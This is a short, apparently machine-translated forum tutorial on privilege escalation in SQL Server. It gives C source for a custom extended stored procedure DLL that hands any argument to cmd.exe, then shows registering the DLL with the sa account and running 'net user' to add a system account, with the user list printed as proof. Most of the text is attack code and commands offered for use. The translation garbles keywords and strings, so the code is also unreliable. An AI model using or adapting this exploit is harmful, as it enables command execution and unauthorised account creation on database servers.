Xp_hello.dll (sa) Elevation of Privilege

Source: Freezing Point Forum February

Main Code:

Create a stored procedure project in VC6 and write the following code In proc. cpp:

# Include <stdafx. h>

# Include <shellapi. h>

# Define XP_NOERROR 0

# Define XP_ERROR 1

# Define MAXCOLNAME 25

# Define MAXNAME 25

# Define MAXTEXT 255

# Ifdef _ cplusplus

Extern "C "{

# Endif

RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc );

# Ifdef _ cplusplus

}

# Endif

RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc)

{

********* ****************

Because of my bad character, there is no srv_paraminfo function in the library,

The old-fashioned srv_paramdata

**************************************** *********************/

Int bufLen;

DBCHAR spName [MAXNAME];

DBCHAR spText [MAXTEXT];

DBCHAR spBuf [MAXTEXT];

Unsigned char limit line [255] = "";

If (srv_rpcparams (srvproc )! = 1) return XP_ERROR; // judge the parameter. If the parameter is not 1, exit immediately.

BufLen = srv_paramlen (srvproc, 1 );

If (! BufLen) return XP_ERROR;

Wsprintf (spBuf, (DBCHAR *) srv_paramdata (srvproc, 1); spBuf [bufLen] = ''; // obtain the value of the first parameter

Wsprintf (spName, "xp_hello ");

Wsprintf (spText, "% s Run command: [% s] MSN: ylbhz@hotmail.com", spName, spBuf );

Srv_sendmsg (srvproc, SRV_MSG_INFO, 0, (DBTINYINT) 0, (DBTINYINT) 0, NULL, spText, SRV_NULLTERM); // send a message

Wsprintf (char *) using line, "/c % s", spBuf); // Constructor

Shellexecute(0,20.open.pdf, cmd.exe ", (char *) using line, NULL, SW_SHOW); // execute the command

Return XP_NOERROR;

}

Compile and generate xp_hello.dll

Connect to SQL Server using SA for execution

Dbcc addextendedproc ('xp _ hello', c: xp_hello.dll ');

Call

Exec xp_hello 'net user fuck/add ';

In this way, a fuck account is added to the system.

C: Documents and SettingsAdministrator Desktop \ CDebug> net user

\ PC-200910151119 User Account

--------------------------
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
Command completed successfully